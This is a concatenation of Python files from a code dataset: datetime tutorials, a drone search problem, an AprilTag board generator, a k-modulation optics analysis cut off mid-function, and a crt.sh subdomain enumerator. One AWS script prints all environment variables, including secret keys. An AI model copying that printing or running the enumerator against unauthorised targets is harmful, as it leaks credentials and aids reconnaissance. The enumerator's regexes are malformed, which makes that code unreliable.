用指定日期时间创建datetime\nprint('datetime类型转换:',dt.timestamp()) # values :1472461200.0\n\n# 把timestamp转换为datetime,使用datetime提供的fromtimestamp()方法:\nfrom datetime import datetime\nts = 1472461200.0\nprint('timestamp类型转换:',datetime.fromtimestamp(ts))\n\n# timestamp也可以直接被转换到UTC标准时区的时间:\nfrom datetime import datetime\nts = 1472461200.0\n# print('timestamp类型转换:',datetime.fromtimestamp(ts)) # 本地时间\nprint('utc时间:',datetime.utcfromtimestamp(ts)) #utc\n\n# str转换为datetime\n# 很多时候,用户输入的日期和时间是字符串,要处理日期和时间,首先必须把str转换为datetime。\n# 转换方法是通过datetime.strptime()实现,需要一个日期和时间的格式化字符串:\nfrom datetime import datetime\ncday = datetime.strptime('2016-08-29 17:30:30','%Y-%m-%d %H:%M:%S')\nprint('str转换为datetime:',cday)\n\n# datetime转换为str\n#如果已经有了datetime对象,要把它格式化为字符串显示给用户,就需要转换为str,\n# 转换方法是通过strftime()实现的,同样需要一个日期和时间的格式化字符串:\nfrom datetime import datetime\nnow =datetime.now()\nprint('datetime转换为str:',now.strftime('%a, %b %d %H:%M'))\n\n# datetime 加减操作\n# 加减可以直接用+和-运算符,不过需要导入timedelta这个类:\nfrom datetime import datetime,timedelta\nnowtime = datetime.now()\nprint('当前时间:',nowtime)\nprint('当前时间往后 +1小时 后的时间:',nowtime + timedelta(hours=1))\nprint('当前时间往后 -1天 后的时间:',nowtime - timedelta(days=1))\nprint('当前时间往后 +1天,+12小时 后的时间:',nowtime + timedelta(days=1,hours=12))\n\n# 本地时间转换为UTC时间\n\n\n# 时区转换\n# 先通过utcnow()拿到当前的UTC时间,再转换为任意时区的时间:\n\n# 拿到UTC时间,并强制设置时区为UTC+0:00:\nfrom datetime import datetime,timedelta,timezone\nutc_dt = datetime.utcnow().replace(tzinfo=timezone.utc)\nprint('拿到UTC时间,并强制设置时区为UTC+0:00:',utc_dt)\n\n# astimezone()将转换时区为北京时间:\nfrom datetime import datetime,timedelta,timezone\nbj_dt = utc_dt.astimezone(timezone(timedelta(hours=8)))\nprint('astimezone()将转换时区为北京时间:',bj_dt)\n\n# astimezone()将转换时区为东京时间:\nfrom datetime import datetime,timedelta,timezone\ntokyo_dt = utc_dt.astimezone(timezone(timedelta(hours=9)))\nprint('astimezone()将转换时区为东京时间:',tokyo_dt)\n\n# astimezone()将bj_dt转换时区为东京时间:\nfrom datetime import datetime,timedelta,timezone\ntokyo_dt2 = bj_dt.astimezone(timezone(timedelta(hours=9)))\nprint('astimezone()将bj_dt转换时区为东京时间:',tokyo_dt2)\n\n\n# 练习:\n# 假设你获取了用户输入的日期和时间如2015-1-21 9:01:30,\n# 以及一个时区信息如UTC+5:00,均是str,\n# 请编写一个函数将其转换为timestamp:\n'''\n# 测试:\nt1 = to_timestamp('2015-6-1 08:10:30', 'UTC+7:00')\nassert t1 == 1433121030.0, t1\n\nt2 = to_timestamp('2015-5-31 16:10:30', 'UTC-09:00')\nassert t2 == 1433121030.0, t2\n\nprint('Pass')\n'''\nimport re\nfrom datetime import datetime, timezone, timedelta\n\nimport re\nfrom datetime import datetime, timezone, timedelta\n\ndef to_timestamp(dt_str, tz_str):\n re_str = re.compile(r'\\w*([+|-]?\\d*)\\:\\d*')\n dt = datetime.now();\n dt = datetime.strptime(dt_str, '%Y-%m-%d %H:%M:%S')\n dt = dt.replace(tzinfo = timezone(timedelta(hours = int(re_str.match(tz_str).group(1)))))\n return dt.timestamp()\n\nt1 = to_timestamp('2015-6-1 08:10:30', 'UTC+7:00')\nassert t1 == 1433121030.0, t1\n\nt2 = to_timestamp('2015-5-31 16:10:30', 'UTC-09:00')\nassert t2 == 1433121030.0, t2\n\nprint('pass')\n","sub_path":"12.常用内建模块/datetimes.py","file_name":"datetimes.py","file_ext":"py","file_size_in_byte":4721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"191025197","text":"import Graph\nimport Subgraph\nimport Edge\n\n# Node is a Tuple of Subgraphs\nclass Problem:\n def __init__(self, graph, roads, startVertices):\n self.graph = graph\n self.roads = roads\n self.distanceWeight = 1\n self.roadWeight = 20000\n self.numRoads = roads.nEdges\n \n node = list()\n for start in startVertices:\n droneGraph = Subgraph.Subgraph(self.graph)\n droneGraph.addVertex(start)\n node.append(droneGraph)\n\n self.initialState = tuple(node)\n \n def isGoal(self, node):\n nodeEdges = set()\n for droneGraph in node:\n for edge in droneGraph.getEdgeIndices():\n nodeEdges.add(edge)\n\n nRoads = 0\n for edge in list(nodeEdges):\n if (self.graph.getEdge(edge[0], edge[1]).isRoad):\n nRoads += 1\n\n if (nRoads > self.numRoads):\n raise IndexError(\"Something weird happened\")\n\n return self.numRoads == nRoads\n\n # node is a list of graphs\n # graphs are drone edge assignments\n def getNeighbors(self, node):\n neighbors = list()\n nodelst = list(node)\n\n for i in range(len(node)):\n droneNeighbors = node[i].getNeighbors()\n for j in range(len(droneNeighbors)): \n neighbor = nodelst.copy()\n neighbor[i] = droneNeighbors[j]\n neighbors.append(tuple(neighbor))\n return neighbors\n\n def getCost(self, node):\n numRoads = 0\n\n nodeEdges = set()\n for droneGraph in node:\n for edge in droneGraph.getEdgeIndices():\n nodeEdges.add(edge)\n\n # make this easier to calculate\n for edge in self.roads.getEdges():\n (lo, hi) = (edge.start.id, edge.end.id) if (edge.start.id < edge.end.id) else (edge.end.id, edge.start.id)\n if ((lo, hi) in nodeEdges):\n numRoads += 1\n \n distances = [0 for i in node]\n for i in range(len(node)):\n for edge in node[i].getEdges():\n distances[i] += edge.distance\n \n return (1 / (numRoads + 1)) * self.roadWeight + (max(distances)) * 1000 * self.distanceWeight\n\n def getSetRepr(self, node):\n return tuple([subgraph.getSetRepr() for subgraph in node])\n\n","sub_path":"usma_files/WRATH/Prototype/Problem.py","file_name":"Problem.py","file_ext":"py","file_size_in_byte":2046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"46178694","text":"import testmodule\ntestmodule.a\ntestmodule.b\ntestmodule.foo()\ntestmodule.sys.argv\n\n\n\nclass Klass:\n a = 100\n\ni1 = Klass()\ni2 = Klass()\ni1.a = 10\ni1.a\ni2.a\nKlass.a = 1000\ni2.a\n\n\n\nclass Aklass:\n def __init__(self):\n self.spam = 1\n\ni = Aklass()\ndir(i)\ni.egg = 1\ndir(i)\n\n\n\nclass Atomklass:\n def foo(self):\n print(\"this is foo method!\")\n\ni1 = Atomklass()\ni2 = Atomklass()\ni1.bar = i1.foo\ni1.bar()\ni2.bar()\n\n\n\ntype(1)\ntype(\"あいうえお\")\ntype(b\"abcde\")\nimport sys\ntype(sys)\n\n\n\nisinstance(1, type(1))\nisinstance(1, str)\nisinstance(\"あいう\", object)\n\n\n\ns = \"abcde\"\ngetattr(s, \"find\")\ns.find(\"cd\")\ngetattr(s, \"find\")(\"cd\")\n\n\n\nimport math\nm = math\ns = m.sin\ns(0.5)\n\n\n\nspam = 1\ndef spam():\n print(\"Spam!\")\nprint(spam)\n\nprint(\"test\")\n","sub_path":"textbook_chapter8,9.py","file_name":"textbook_chapter8,9.py","file_ext":"py","file_size_in_byte":753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"583496187","text":"\nimport re\nimport sys\n\n\nimport urllib.parse as urlparse\nimport argparse\nimport urllib.parse as urllib\nimport time\n\n\n\n\nimport requests.packages.urllib3\n\n\n\n\n\nimport multiprocessing\nimport threading\nimport socket\n\n\ndef sort_sub(domain_name): \n sorted = domain_name.split('.')[::-1]\n if sorted[-1] == 'www':\n return sorted[:-1], 1\n return sorted, 0\n\n\nclass sub(object):\n def __init__(self, base_url, search_engine, domain, subdomains=None): \n subdomains = subdomains or []\n self.domain = urlparse.urlparse(domain).netloc\n self.session = requests.Session()\n self.subdomains = []\n self.timeout = 25\n self.base_url = base_url\n self.search_engine = search_engine\n self.headers = {\n \n }\n self.print_banner()\n\n \n\n def request(self, query, pg_num=1):\n\n parsed_url = self.base_url.format(query=query, page_no=pg_num)\n try:\n response = self.session.get(parsed_url, headers=self.headers, timeout=self.timeout)\n except Exception:\n response = None\n return self.resp(response)\n\n def resp(self, response):\n if response is None:\n return 0\n return response.text if hasattr(response, \"text\") else response.content\n\n\nclass tthread(multiprocessing.Process, sub):\n def __init__(self, base_url, search_engine, domain, subdomains=None, q=None):\n subdomains = subdomains or []\n sub.__init__(self, base_url, search_engine, domain, subdomains)\n multiprocessing.Process.__init__(self)\n self.q = q\n return\n\n def run(self):\n domain_list = self.enumerate()\n for domain in domain_list:\n self.q.append(domain)\n\n\nclass engine_crt_ssl(tthread):\n def __init__(self, domain, subdomains=None, q=None):\n subdomains = subdomains or []\n base_url = 'https://crt.sh/?q=%25.{domain}'\n self.search_engine = \"SSL Certificates\"\n self.q = q\n super(engine_crt_ssl, self).__init__(base_url, self.search_engine, domain, subdomains, q=q)\n return\n\n def req(self, url):\n try:\n resp = self.session.get(url, headers=self.headers, timeout=self.timeout)\n except Exception:\n resp = None\n\n return self.resp(resp)\n\n \n def find_domin_rgx(self, resp):\n rgx = re.compile('(*?)')\n try:\n links = rgx.findall(resp)\n for link in links:\n link = link.strip()\n subdomains = []\n if '
' in link:\n subdomains = link.split('
')\n else:\n subdomains.append(link)\n\n for subdomain in subdomains:\n if not subdomain.endswith(self.domain) or '*' in subdomain:\n continue\n\n if subdomain not in self.subdomains and subdomain != self.domain:\n self.subdomains.append(subdomain.strip())\n except Exception as e:\n print(e)\n pass\n\n\ndef main(parsed_host): \n s_domainLen=None\n search_list = set()\n sub_inline = multiprocessing.Manager().list()\n inspect_dom = re.compile(\"^(https|http)?+(.[\\-\\\\.]{1}[a-zA--9]+)*\\.[a-zA-\\..\\Z]{2,}$\")\n if not inspect_dom.match(parsed_host):\n return [\"Error: Not a valid host name, enter a valid host name\"]\n\n if not parsed_host.startswith('http://') or not parsed_host.startswith('https://'):\n parsed_host = 'http://' + parsed_host\n\n domin_entered = urlparse.urlparse(parsed_host)\n\n print(\"searching sub domains for %s\" % domin_entered.netloc)\n\n find=\"searching sub domains for %s\" % domin_entered.netloc\n\n\n supported_engines = {'ssl': engine_crt_ssl}\n\n selected_enm = []\n\n selected_enm = [\n engine_crt_ssl\n ]\n\n en = [enum(parsed_host, [], q=sub_inline) for enum in selected_enm]\n for enum in en:\n enum.start()\n for enum in en:\n enum.join()\n\n subdom = set(sub_inline)\n for subdomain in subdom:\n search_list.add(subdomain)\n\n if subdom:\n subdom = sorted(subdom, key=sort_sub)\n\n print(\"Subdomains: %s\" % len(subdom))\n s_domainLen=\"Subdomains: %s\" % len(subdom)\n\n\n for subdomain in subdom:\n print(subdomain)\n return find,s_domainLen,subdom\n\n\n\n","sub_path":"sub.py","file_name":"sub.py","file_ext":"py","file_size_in_byte":4343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"363406060","text":"import requests\r\nimport os\r\nfrom aws_requests_auth.aws_auth import AWSRequestsAuth\r\n\r\n\r\nprint(os.environ)\r\n\r\nhost = '8nkzsvrdik.execute-api.us-east-1.amazonaws.com'\r\nauth = AWSRequestsAuth(\r\n aws_host=host,\r\n aws_access_key=os.environ['AWS_ACCESS_KEY_ID'],\r\n aws_secret_access_key=os.environ['AWS_SECRET_ACCESS_KEY'],\r\n aws_region='us-east-1',\r\n aws_service=\"execute-api\",\r\n)\r\n\r\nresponse = requests.get(f'https://{host}/release/users/test', auth=auth)\r\n\r\n\r\nprint(response.status_code)\r\nprint(response.text)\r\n","sub_path":"cloudformation/apigateway-iam-authentication/iam-auth.py","file_name":"iam-auth.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"259002038","text":"from src.base.base_map_reducer import MapReducer\nfrom typing import List\nimport logging\n\nclass ComputeSpanMessages(MapReducer):\n\n def __init__(self, split_files: List[str]):\n super().__init__(split_files)\n \n def mapper(self):\n \"\"\"\n yield a tuple of (messageSequenceNumber,1)\n \"\"\"\n logging.info(\"=====Start Mapper Step=====\")\n for prefix,event,value in super().read_split_files():\n if (prefix, event) == ('item.messageSequenceNumber', 'number'):\n yield (value,1)\n logging.info(\"=====Mapper Step Complete=====\")\n\n def reducer(self,map_output) -> int:\n \"\"\"\n add the second element of tuple and return it\n \"\"\"\n logging.info(\"=====Start Reducer Step=====\")\n result = 0\n for _,num in map_output:\n result += num\n logging.info(\"=====Reducer Step Complete=====\")\n return result\n\n def compute(self):\n return self.reducer(self.mapper()) ","sub_path":"ptls_challenge/src/metrics/compute_span_messages.py","file_name":"compute_span_messages.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"147684410","text":"# python -m farm_ng.apriltag_board_gen --root_tag_id 1 --name intrinsic_board_01\n# python -m farm_ng.calibration.apriltag_board_gen\nimport argparse\n\nimport google.protobuf.json_format as json_format\nfrom liegroups import SE3\n\nfrom farm_ng.perception.apriltag_pb2 import ApriltagRig\nfrom farm_ng.perception.geometry_pb2 import Vec3\nfrom farm_ng.perception.proto_utils import se3_to_proto\n\n\ndef MakeApriltagRigNode(rig_name, tag_id, size, x, y):\n node = ApriltagRig.Node()\n node.id = tag_id\n node.frame_name = '%s/tag/%05d' % (rig_name, tag_id)\n node.tag_size = size\n half_size = size/2.0\n node.points_tag.append(Vec3(x=-half_size, y=-half_size, z=0))\n node.points_tag.append(Vec3(x=half_size, y=-half_size, z=0))\n node.points_tag.append(Vec3(x=half_size, y=half_size, z=0))\n node.points_tag.append(Vec3(x=-half_size, y=half_size, z=0))\n node.pose.frame_a = rig_name\n node.pose.frame_b = node.frame_name\n node.pose.a_pose_b.CopyFrom(se3_to_proto(SE3.exp([x, y, 0, 0, 0, 0])))\n return node\n\n\ndef App():\n parser = argparse.ArgumentParser()\n parser.add_argument('--name', type=str, default='tag_rig')\n parser.add_argument('--tag_size', type=float, default=0.044)\n parser.add_argument('--tag_spacing', type=float, default=0.056)\n\n parser.add_argument('--root_tag_id', type=int, default=1)\n parser.add_argument('--num_rows', type=int, default=11)\n parser.add_argument('--num_cols', type=int, default=7)\n\n args = parser.parse_args()\n\n rig = ApriltagRig()\n rig.name = args.name\n\n tag_id = args.root_tag_id\n for y in range(args.num_rows):\n for x in range(args.num_cols):\n x_meters = x*args.tag_spacing\n y_meters = y*args.tag_spacing\n # center to center\n rig.nodes.append(MakeApriltagRigNode(args.name, tag_id, args.tag_size, x_meters, y_meters))\n tag_id += 1\n\n print(json_format.MessageToJson(rig))\n\n\nif __name__ == '__main__':\n App()\n","sub_path":"modules/calibration/python/farm_ng/calibration/apriltag_board_gen.py","file_name":"apriltag_board_gen.py","file_ext":"py","file_size_in_byte":1968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"406911128","text":"\"\"\"\nAnalysis\n--------\n\nThis module contains the analysis functionality of ``kmod``.\nIt provides functions to calculate beta functions at different locations from K-modulation data.\n\"\"\"\nimport datetime\n\nimport numpy as np\nimport scipy.optimize\nimport tfs\nfrom tfs import tools as tfstools\n\nfrom omc3.definitions import formats\nfrom omc3.definitions.constants import PLANES\nfrom omc3.kmod import helper\nfrom omc3.kmod.constants import CLEANED, K, TUNE, ERR, BETA, STAR, WAIST, PHASEADV, AVERAGE, \\\n SEQUENCES_PATH\nfrom omc3.model.constants import TWISS_DAT\nfrom omc3.optics_measurements.constants import PHASE_NAME, EXT\nfrom omc3.utils import logging_tools\n\nLOG = logging_tools.get_logger(__name__)\n\n\ndef return_sign_for_err(n):\n \"\"\"\n Creates an array for error calculation, of form:\n [[ 0. 0. 0.]\n [ 1. 0. 0.]\n [-1. -0. -0.]\n [ 0. 1. 0.]\n [-0. -1. -0.]\n [ 0. 0. 1.]\n [-0. -0. -1.]]\n Columns corresponds to error, i.e. first column for `dQ` etc.\n \"\"\"\n sign = np.zeros((2*n+1, n))\n\n sign[1::2] = np.eye(n)\n sign[2::2] = -np.eye(n)\n return sign\n\n\ndef propagate_beta_in_drift(beta_waist, drift):\n beta = beta_waist + drift**2/beta_waist\n return beta\n\n\ndef calc_betastar(kmod_input_params, results_df, l_star):\n\n sign = return_sign_for_err(2) \n\n for plane in PLANES:\n betastar = propagate_beta_in_drift((results_df.loc[:, f\"{BETA}{WAIST}{plane}\"].to_numpy() + sign[:, 0] * results_df.loc[:, f\"{ERR}{BETA}{WAIST}{plane}\"].to_numpy()),\n (results_df.loc[:, f\"{WAIST}{plane}\"].to_numpy() + sign[:, 1] * results_df.loc[:, f\"{ERR}{WAIST}{plane}\"].to_numpy()))\n betastar_err = get_err(betastar[1::2]-betastar[0])\n\n if kmod_input_params.no_sig_digits:\n results_df[f\"{BETA}{STAR}{plane}\"], results_df[f\"{ERR}{BETA}{STAR}{plane}\"] = (betastar[0], betastar_err)\n else:\n results_df[f\"{BETA}{STAR}{plane}\"], results_df[f\"{ERR}{BETA}{STAR}{plane}\"] = tfstools.significant_digits(betastar[0], betastar_err, return_floats=True)\n\n\n # reindex df to put betastar first\n cols = results_df.columns.tolist()\n cols = [cols[0]]+cols[-4:]+cols[1:-4]\n results_df = results_df.reindex(columns=cols)\n\n for plane in PLANES:\n results_df[f\"{PHASEADV}{plane}\"], results_df[f\"{ERR}{PHASEADV}{plane}\"] = phase_adv_from_kmod(\n l_star, betastar[0], betastar_err,\n results_df.loc[:, f\"{WAIST}{plane}\"].to_numpy(),\n results_df.loc[:, f\"{ERR}{WAIST}{plane}\"].to_numpy())\n\n return results_df\n\n\ndef phase_adv_from_kmod(lstar, betastar, ebetastar, waist, ewaist):\n return _phase_adv_from_kmod_value(lstar, betastar, waist),\\\n _phase_adv_from_kmod_err(lstar, betastar, ebetastar, waist, ewaist)\n\n\ndef _phase_adv_from_kmod_value(lstar, betastar, waist):\n return (np.arctan((lstar - waist) / betastar) +\n np.arctan((lstar + waist) / betastar)) / (2 * np.pi)\n\n\ndef _phase_adv_from_kmod_err(lstar, betastar, ebetastar, waist, ewaist):\n numer = (2 * lstar * (betastar ** 2 + lstar ** 2 - waist ** 2) * ebetastar) ** 2\n numer = numer + (4 * betastar * lstar * waist * ewaist) ** 2\n denom = (betastar ** 2 + (lstar - waist) ** 2) ** 2\n denom = denom * (betastar ** 2 + (lstar + waist) ** 2) ** 2\n return np.sqrt(numer / denom) / (2 * np.pi)\n\n\ndef calc_beta_inst(name, position, results_df, magnet1_df, magnet2_df, kmod_input_params):\n betas = np.zeros((2, 2))\n sign = np.array([[0, 0], [1, 0], [-1, 0], [0, 1], [0, -1]])\n for i, plane in enumerate(PLANES):\n waist = results_df.loc[:, f\"{WAIST}{plane}\"].to_numpy()\n if magnet1_df.headers['POLARITY'] == 1 and magnet2_df.headers['POLARITY'] == -1:\n waist = -waist\n if plane == 'Y':\n waist = -waist\n\n beta = propagate_beta_in_drift((results_df.loc[:, f\"{BETA}{WAIST}{plane}\"].to_numpy() + sign[:, 0] * results_df.loc[:, f\"{ERR}{BETA}{WAIST}{plane}\"].to_numpy()),\n ((waist - position) + sign[:, 1] * results_df.loc[:, f\"{ERR}{WAIST}{plane}\"].to_numpy()))\n beta_err = get_err(beta[1::2]-beta[0])\n if kmod_input_params.no_sig_digits:\n betas[i, 0], betas[i, 1] = beta[0], beta_err\n else:\n betas[i, 0], betas[i, 1] = tfstools.significant_digits(beta[0], beta_err, return_floats=True)\n\n return name, betas[0, 0], betas[0, 1], betas[1, 0], betas[1, 1]\n\n\ndef calc_beta_at_instruments(kmod_input_params, results_df, magnet1_df, magnet2_df):\n\n beta_instr = []\n\n for instrument in kmod_input_params.instruments_found:\n positions = getattr(kmod_input_params, instrument)\n\n for name, position in positions.items():\n beta_instr.append(calc_beta_inst(\n name, position, results_df, magnet1_df, magnet2_df, kmod_input_params))\n\n instrument_beta_df = tfs.TfsDataFrame(\n columns=['NAME',\n f\"{BETA}{'X'}\",\n f\"{ERR}{BETA}{'X'}\",\n f\"{BETA}{'Y'}\",\n f\"{ERR}{BETA}{'Y'}\",\n ],\n data=beta_instr)\n\n return instrument_beta_df\n\n\ndef fit_prec(x, beta_av):\n twopiQ = 2 * np.pi * np.modf(x[1])[0]\n dQ = (1/(2.*np.pi)) * np.arccos(np.cos(twopiQ) -\n 0.5 * beta_av * x[0] * np.sin(twopiQ)) - np.modf(x[1])[0]\n return dQ\n\n\nnp.vectorize(fit_prec)\n\n\ndef fit_approx(x, beta_av):\n dQ = beta_av*x[0]/(4*np.pi)\n return dQ\n\n\nnp.vectorize(fit_approx)\n\n\ndef average_beta_from_Tune(Q, TdQ, l, Dk):\n \"\"\"Calculates average beta function in quadrupole from tune change ``TdQ`` and ``delta K``.\"\"\"\n\n beta_av = 2 * (1 / np.tan(2 * np.pi * Q) *\n (1 - np.cos(2 * np.pi * TdQ)) + np.sin(2 * np.pi * TdQ)) / (l * Dk)\n return abs(beta_av)\n\n\ndef average_beta_focussing_quadrupole(b, w, L, K, Lstar):\n\n beta0 = b + ((Lstar - w) ** 2 / b)\n alpha0 = -(Lstar - w) / b\n average_beta = (beta0/2.) * (1 + ((np.sin(2 * np.sqrt(abs(K)) * L)) / (2 * np.sqrt(abs(K)) * L))) \\\n - alpha0 * ((np.sin(np.sqrt(abs(K)) * L)**2) / (abs(K) * L)) \\\n + (1/(2*abs(K))) * ((1 + alpha0**2) / beta0) * \\\n (1 - ((np.sin(2 * np.sqrt(abs(K)) * L)) / (2 * np.sqrt(abs(K)) * L)))\n\n return average_beta\n\n\nnp.vectorize(average_beta_focussing_quadrupole)\n\n\ndef average_beta_defocussing_quadrupole(b, w, L, K, Lstar):\n beta0 = b + ((Lstar - w) ** 2 / b)\n alpha0 = -(Lstar - w) / b\n average_beta = (beta0/2.) * (1 + ((np.sinh(2 * np.sqrt(abs(K)) * L)) / (2 * np.sqrt(abs(K)) * L))) \\\n - alpha0 * ((np.sinh(np.sqrt(abs(K)) * L)**2) / (abs(K) * L)) \\\n + (1/(2*abs(K))) * ((1 + alpha0**2) / beta0) * \\\n (((np.sinh(2 * np.sqrt(abs(K)) * L)) / (2 * np.sqrt(abs(K)) * L)) - 1)\n\n return average_beta\n\n\nnp.vectorize(average_beta_defocussing_quadrupole)\n\n\ndef calc_tune(magnet_df):\n for plane in PLANES:\n magnet_df.headers[f\"{TUNE}{plane}\"] = np.average(magnet_df.where(\n magnet_df[f\"{CLEANED}{plane}\"])[f\"{TUNE}{plane}\"].dropna())\n return magnet_df\n\n\ndef calc_k(magnet_df):\n magnet_df.headers[K] = np.average(magnet_df.where(magnet_df[f\"{CLEANED}X\"])[K].dropna())\n return magnet_df\n\n\ndef return_fit_input(magnet_df, plane):\n\n x = np.zeros((2, len(magnet_df.where(magnet_df[f\"{CLEANED}{plane}\"])[K].dropna())))\n\n sign = magnet_df.headers['POLARITY'] if plane == 'X' else -1 * magnet_df.headers['POLARITY']\n x[0, :] = sign*(\n magnet_df.where(magnet_df[f\"{CLEANED}{plane}\"])[K].dropna() -\n magnet_df.headers[K]) * magnet_df.headers['LENGTH']\n x[1, :] = magnet_df.headers[f\"{TUNE}{plane}\"]\n\n return x\n\n\ndef do_fit(magnet_df, plane, use_approx=False):\n if not use_approx:\n fun = fit_prec\n elif use_approx:\n fun = fit_approx\n \n sigma = magnet_df.where(magnet_df[f\"{CLEANED}{plane}\"])[f\"{ERR}{TUNE}{plane}\"].dropna()\n if not np.any(sigma):\n sigma = 1.E-22 * np.ones(len(sigma))\n\n av_beta, av_beta_err = scipy.optimize.curve_fit(\n fun,\n xdata=return_fit_input(magnet_df, plane),\n ydata=magnet_df.where(magnet_df[f\"{CLEANED}{plane}\"])[\n f\"{TUNE}{plane}\"].dropna() - magnet_df.headers[f\"{TUNE}{plane}\"],\n sigma=sigma,\n absolute_sigma=True,\n p0=1\n )\n return np.abs(av_beta[0]), np.sqrt(np.diag(av_beta_err))[0]\n\n\ndef get_av_beta(magnet_df):\n for plane in PLANES:\n magnet_df.headers[f\"{AVERAGE}{BETA}{plane}\"], magnet_df.headers[f\"{ERR}{AVERAGE}{BETA}{plane}\"] = do_fit(magnet_df, plane)\n return magnet_df\n\n\ndef check_polarity(magnet1_df, magnet2_df, sign):\n left, right = sign\n return magnet1_df.headers['POLARITY'] == left and magnet2_df.headers['POLARITY'] == right\n\n\ndef return_df(magnet1_df, magnet2_df, plane):\n\n sign = {'X': np.array([1, -1]), 'Y': np.array([-1, 1])}\n\n if check_polarity(magnet1_df, magnet2_df, sign[plane]):\n return magnet1_df, magnet2_df\n elif check_polarity(magnet1_df, magnet2_df, -sign[plane]):\n return magnet2_df, magnet1_df\n\n \ndef get_BPM(kmod_input_params):\n\n # listing the BPMs of the last quadrupole BPMs\n BPM_dict = {\n \"IP1\": [\"BPMSW.1L1\", \"BPMSW.1R1\"],\n \"IP2\": [\"BPMSW.1L2\", \"BPMSW.1R2\"],\n \"IP3\": [\"BPMW.4L3\", \"BPMW.4R3\"],\n \"IP4\": [\"BPMWA.A5L4\", \"BPMWA.A5R4\"],\n \"IP5\": [\"BPMSW.1L5\", \"BPMSW.1R5\"],\n \"IP6\": [\"BPMSE.4L6\", \"BPMSA.4R6\"],\n \"IP7\": [\"BPMW.4L7\", \"BPMW.4R7\"],\n \"IP8\": [\"BPMSW.1L8\", \"BPMSW.1R8\"],\n }\n if kmod_input_params.interaction_point:\n return [f\"{bpm}.B{kmod_input_params.beam:d}\"\n for bpm in BPM_dict[kmod_input_params.interaction_point.upper()]]\n if kmod_input_params.circuits:\n return [f\"{bpm}.B{kmod_input_params.beam:d}\"\n for bpm in BPM_dict[f\"IP{kmod_input_params.circuits[0][-3]}\"]]\n raise AttributeError(\"Should not have happened, was checked in analyse_kmod\")\n\n\ndef get_BPM_distance(kmod_input_params, BPML, BPMR):\n twiss_df = tfs.read(\n SEQUENCES_PATH / f\"twiss_lhcb{kmod_input_params.beam:d}.dat\", index='NAME'\n )\n return np.abs(twiss_df.loc[BPMR, 'S'] - twiss_df.loc[BPML, 'S']) / 2\n\n\ndef get_phase_from_model(kmod_input_params, plane):\n \"\"\"Get the phase from twiss model.\"\"\"\n twiss_df = tfs.read(kmod_input_params.model_dir / TWISS_DAT, index='NAME')\n BPML, BPMR = get_BPM(kmod_input_params)[0], get_BPM(kmod_input_params)[1]\n phase_adv_model = abs(twiss_df.loc[BPMR, f'MU{plane}'] - twiss_df.loc[BPML, f'MU{plane}'])\n phase_adv_err = 0.5e-3 # this number is given by Andrea's estimations\n\n return phase_adv_model, phase_adv_err\n\n\ndef get_phase_from_measurement(kmod_input_params, plane):\n phase_df = tfs.read(\n kmod_input_params.measurement_dir / f'{PHASE_NAME}{plane.lower()}{EXT}', index='NAME'\n )\n bpms_lr = get_BPM(kmod_input_params)\n for bpm in bpms_lr:\n if bpm not in phase_df.index.to_numpy():\n raise ValueError(f\"BPM {bpm} not found in the measurement\")\n # both BPMs are in measurement and there should be no other BPM in between\n return (phase_df.loc[bpms_lr[0], f'PHASE{plane}'],\n phase_df.loc[bpms_lr[0], f'{ERR}PHASE{plane}'])\n\n\ndef phase_constraint(kmod_input_params, plane):\n if kmod_input_params.measurement_dir:\n return get_phase_from_measurement(kmod_input_params, plane)\n # model is taken (if exists) in case no measurement data is provided\n if kmod_input_params.model_dir:\n return get_phase_from_model(kmod_input_params, plane)\n return [1.0, 1.0]\n\n\ndef chi2(x, foc_magnet_df, def_magnet_df, plane, kmod_input_params, sign, BPM_distance, phase_adv_constraint):\n\n b = x[0]\n w = x[1]\n\n if kmod_input_params.interaction_point:\n\n phase_adv = phase_adv_from_kmod(BPM_distance, b, 0.0, w, 0.0)[0]\n weight = kmod_input_params.phase_weight\n else:\n phase_adv = 0.0\n weight = 0\n\n c2 = (1-weight)*(((average_beta_focussing_quadrupole(b, w, foc_magnet_df.headers['LENGTH'] +\n sign[0] * kmod_input_params.errorL, foc_magnet_df.headers[K] +\n sign[1] * kmod_input_params.errorK * foc_magnet_df.headers[K],\n foc_magnet_df.headers['LSTAR'] +\n sign[2] * kmod_input_params.misalignment) -\n foc_magnet_df.headers[f\"{AVERAGE}{BETA}{plane}\"] +\n sign[3] * foc_magnet_df.headers[f\"{ERR}{AVERAGE}{BETA}{plane}\"])/(def_magnet_df.headers[f\"{AVERAGE}{BETA}{plane}\"] + foc_magnet_df.headers[f\"{AVERAGE}{BETA}{plane}\"])/2.0) ** 2 +\n ((average_beta_defocussing_quadrupole(b, -w, def_magnet_df.headers['LENGTH'] +\n sign[4] * kmod_input_params.errorL, def_magnet_df.headers[K] +\n sign[5] * kmod_input_params.errorK * def_magnet_df.headers[K],\n def_magnet_df.headers['LSTAR'] +\n sign[6] * kmod_input_params.misalignment) -\n def_magnet_df.headers[f\"{AVERAGE}{BETA}{plane}\"] +\n sign[7] * def_magnet_df.headers[f\"{ERR}{AVERAGE}{BETA}{plane}\"])/(foc_magnet_df.headers[f\"{AVERAGE}{BETA}{plane}\"] + def_magnet_df.headers[f\"{AVERAGE}{BETA}{plane}\"])/2.0) ** 2) + \\\n weight*(((phase_adv - (phase_adv_constraint[0]+sign[8]*phase_adv_constraint[1]))/phase_adv_constraint[0])**2)\n\n return c2\n\n\ndef get_beta_waist(magnet1_df, magnet2_df, kmod_input_params, plane):\n\n n = 9\n sign = return_sign_for_err(n)\n foc_magnet_df, def_magnet_df = return_df(magnet1_df, magnet2_df, plane)\n results = np.zeros((2*n+1, 2))\n BPML, BPMR = get_BPM(kmod_input_params)\n BPM_distance = get_BPM_distance(kmod_input_params, BPML, BPMR)\n phase_adv_constraint = phase_constraint(kmod_input_params, plane)\n for i, s in enumerate(sign):\n\n def 